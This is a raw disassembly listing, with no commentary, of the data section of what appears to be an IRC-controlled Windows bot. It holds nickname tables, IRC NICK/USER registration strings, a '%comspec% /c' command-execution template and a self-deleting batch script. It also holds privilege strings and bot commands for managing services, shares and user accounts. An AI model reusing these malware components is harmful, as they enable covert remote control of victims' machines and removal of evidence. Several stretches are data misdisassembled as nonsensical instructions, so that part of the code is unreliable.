"Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438324 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438780 dd offset aC ; "c" dd offset aD ; "d" db 38h ; 8 db 0ACh ; ¬ db 42h ; B db 0 db 98h ; ˜ db 87h ; ‡ db 43h ; C db 0 db 94h ; ” db 87h ; ‡ db 43h ; C db 0 db 90h ; db 87h ; ‡ db 43h ; C db 0 db 0D4h ; Ô db 0C2h ;  db 42h ; B db 0 ; --------------------------------------------------------------------------- cld mov ah, 42h add [ebx+esi*4+42h], al add [eax-39h], bl inc edx add [edi+eax*4-533BFFBDh], cl inc edx add [eax-4Dh], cl inc edx add al, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" ; --------------------------------------------------------------------------- mov al, ds:84004387h xchg eax, [ebx+0] pushf xchg eax, [ebx+0] mov [edi-7E83FFBDh], al inc ebx add [eax-7Fh], bh inc ebx add [ecx+eax*4+43h], dh add [eax-7Fh], dh inc ebx add [ecx+eax*4+43h], ch add [eax-7Fh], ch inc ebx add [ecx+eax*4+43h], ah add [ecx+eax*4+43h], bl add [ecx+eax*4+43h], dl add [ecx+eax*4+43h], cl add [ecx+eax*4+43h], al add [eax-6BFFBC79h], cl xchg eax, [ebx+0] fadd st(2), st inc edx add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset off_438140 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438750 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438780 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438734 dd offset dword_43D128 dd offset off_438100 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B4 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438090 dd offset dword_43808C dd offset dword_438088 dword_438088 dd 7536h ; DATA XREF: ___:00438084o dword_43808C dd 7535h ; DATA XREF: ___:00438080o dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o aMofo db 'mofo',0 ; DATA XREF: ___:00438060o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438058o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438054o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438050o aShit db 'shit',0 ; DATA XREF: ___:0043804Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438048o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o align 10h off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o aFree db 'Free',0 ; DATA XREF: ___:0043802Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043800Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FECo aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o align 10h off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 4 aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 10h aGf db 'gf',0 align 4 aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F80o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F24o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F20o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o aLag db 'lag',0 ; DATA XREF: ___:00437F04o aBad db 'bad',0 ; DATA XREF: ___:00437F00o aTree db 'tree',0 ; DATA XREF: ___:00437EFCo align 10h aZex db 'zex',0 ; DATA XREF: ___:00437EF8o aLez db 'lez',0 ; DATA XREF: ___:00437EF4o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EB8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437E88o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o align 4 off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o aArda db 'arda',0 ; DATA XREF: ___:00437DF0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437DECo align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o align 4 off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D68o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D28o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D18o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D14o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D04o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo align 4 aCme db 'cme',0 ; DATA XREF: ___:00437CF8o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437CECo align 4 aKen db 'ken',0 ; DATA XREF: ___:00437CE8o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o align 10h aMale db 'male',0 ; DATA XREF: ___:00437CDCo align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo align 10h aM_0: ; DATA XREF: ___:00437CB8o ; ___:00438004o unicode 0, <M>,0 word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CB4o align 4 dword_438728 dd 42h ; DATA XREF: ___:00437CB0o dword_43872C dd 56h ; DATA XREF: ___:00437CACo dword_438730 dd 43h ; DATA XREF: ___:00437CA8o dword_438734 dd 58h ; DATA XREF: ___:00437CA4o ; ___:00438038o dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o dword_438748 dd 48h ; DATA XREF: ___:00437C90o dword_43874C dd 47h ; DATA XREF: ___:00437C8Co dword_438750 dd 46h ; DATA XREF: ___:00437C88o ; ___:00438000o dword_438754 dd 44h ; DATA XREF: ___:00437C84o dword_438758 dd 53h ; DATA XREF: ___:00437C80o dword_43875C dd 50h ; DATA XREF: ___:00437C78o dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o dword_438764 dd 55h ; DATA XREF: ___:00437C6Co word_438768 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C68o align 4 dword_43876C dd 54h ; DATA XREF: ___:00437C64o dword_438770 dd 52h ; DATA XREF: ___:00437C60o dword_438774 dd 45h ; DATA XREF: ___:00437C5Co dword_438778 dd 57h ; DATA XREF: ___:00437C58o dword_43877C dd 51h ; DATA XREF: ___:00437C54o dword_438780 dd 62h ; DATA XREF: ___:00437C48o ; ___:00437F3Co ... dword_438784 dd 78h ; DATA XREF: ___:00437C3Co dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o dword_438790 dd 68h ; DATA XREF: ___:00437C28o dword_438794 dd 67h ; DATA XREF: ___:00437C24o dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389C8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389BCo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 